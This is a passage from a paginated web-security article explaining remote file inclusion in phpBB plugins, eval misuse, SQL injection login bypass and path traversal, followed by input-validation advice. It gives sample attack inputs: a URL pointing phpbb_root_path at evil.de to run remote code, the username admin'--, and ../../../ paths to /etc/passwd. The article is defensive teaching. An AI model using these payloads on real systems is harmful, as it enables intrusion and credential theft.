« previous 1 2 3 4 5 next »

Remote code execution

In contrast to XSS, in which the user's browser is injected with malicious script, some program errors can lead to the web application itself executing arbitrary commands on an attacker's behalf. One line of code which proved fateful for many plugins for the phpBB forum system was:

include_once ($phpbb_root_path . 'common.php');

The command should load and execute the file common.php, containing some basic application functions, from the phpBB base directory. Many plugin programmers blindly assumed that the global variable $phpbb_root_path always contained the path to the phpBB installation. But plugin scripts can be started directly from URLs and pass arbitrary variable parameters without requiring confirmation from the user.

By calling /plugin.php&phpbb_root_path=http://evil.de/, an attacker can change the value of $phpbb_root_path to point to an external server. The file executed with this call would be http://evil.de/common.php, in which the attacker could have placed arbitrary commands of his choice. The include equivalent require() has the same problem. For it to be this trivial to execute malicious code remotely, PHP must have an insecure configuration. Unfortunately, however, for reasons of compatibility, this is still the default, especially for shared hosting providers.

Still relatively rarely encountered is a form of remote code execution in which the malicious code comes, as in XSS, directly from the URL or from form data. It occurs primarily through careless use of the PHP function eval(), which interprets an arbitrary string as PHP code. The function should only be used with great caution. Hence the expression "eval is evil", which is justly used in PHP circles.

SQL injection

A large proportion of web applications work with SQL databases. The injection or manipulation of SQL commands is known as SQL injection. Simple user authentication can, for example, be implemented using the SQL statement SELECT * FROM users WHERE name='$username' AND password='$password'. If no data is returned, the combination of username and password is not in the database and the login attempt is invalid.

If the application fails to filter the username and password entered by the user, the above SQL command can be manipulated by, for example, skilled use of the SQL comment character - - and the apostrophe character. Sending the username admin'- - with any password, results in the SQL statement SELECT * FROM users WHERE name='admin'- - AND password='any'. The password part of the expression after the - - is ignored by the SQL server, which returns the data for the user 'admin', as long as it exists in the table, regardless of the password. With this kind of slack user authentication programming, all an attacker needs to do is to guess a user name.

SQL also recognises the semi-colon as a separator between SQL statements. If this is unfiltered, an attacker can use the above trick to send arbitrary SQL commands to the database server. In this way, he may be able to read protected data or manipulate arbitrary data. Nowadays, however, such obvious attacks are rarely possible, as data entered by the user is not usually transformed into SQL statements without some sort of filtering. In addition, passwords now usually undergo a kind of filtering through the formation of a hash value.

However programming errors as avoidable as this are by no means extinct. Just last November, T-Online's careers forum was found to permit admin login without a password using a comparable SQL injection. Other recent examples of SQL injection attacks are, however, far more complicated [2].

A comparably old attack type is 'path traversal'. The file name ".." indicates the parent directory in all current operating systems. If, for example, a download script accepts a file name from a URL parameter without filtering it, an attacker can access higher directory levels than intended by using "../../../" before the file name and thus may be able to gain access to login names from /etc/passwd or database passwords in config.php files.

Targeting user entries

The most important principle for developing secure web applications may appear excessive, but it is crucially important - all data which comes into the application from outside should be viewed with suspicion, as it could be manipulated by an attacker. Unless a web application implements a special entry channel, such as separate network connections, data is entered primarily via variable parameters in the URL. Because the browser passes these using the HTTP command GET, the term GET variables is also used. Most scripting languages pass them to the application, in the worst case, as global variables or, in the best case, in a separate array. In this first case, since an attacker may be able to modify them arbitrarily, it is necessary to treat all global variables with suspicion.

What is less well known is that all POST variables, i.e. all visible and non-visible form fields and Select data, also need to be considered unsafe. After clicking on 'submit' the browser passes these variables to the web application using the HTTP command POST - they can therefore be manipulated at will. Even cookies that originate from the web application could have been manipulated in the browser by an attacker. Data from local files can also contain untrustworthy data - such as URLs in server logs. This should, however, be looked at on a case-by-case basis.

The validity of data from such sources must be checked. It is generally possible to define a range or character set for a variable. Dates of birth would be expected to lie between an application-dependent start data, such as 1900, and the current date. Name fields should only contain, depending on the language, large and small letters, certain international special characters and possibly decimal points and commas.

Special characters which can typically be used to cause mischief should be filtered out at an early stage. Some functions for string processing can be fooled by the skilful use of null bytes or new lines. The same applies to apostrophes and certain other control characters.

All characters which have a special significance in the context of the intended use must in principle be considered critical. For strings which are to make their way into HTML pages, this includes in particular, angle brackets for HTML tags, with which injected scripts also have to begin; also the percent sign and ampersand (&).

« previous 1 2 3 4 5 next »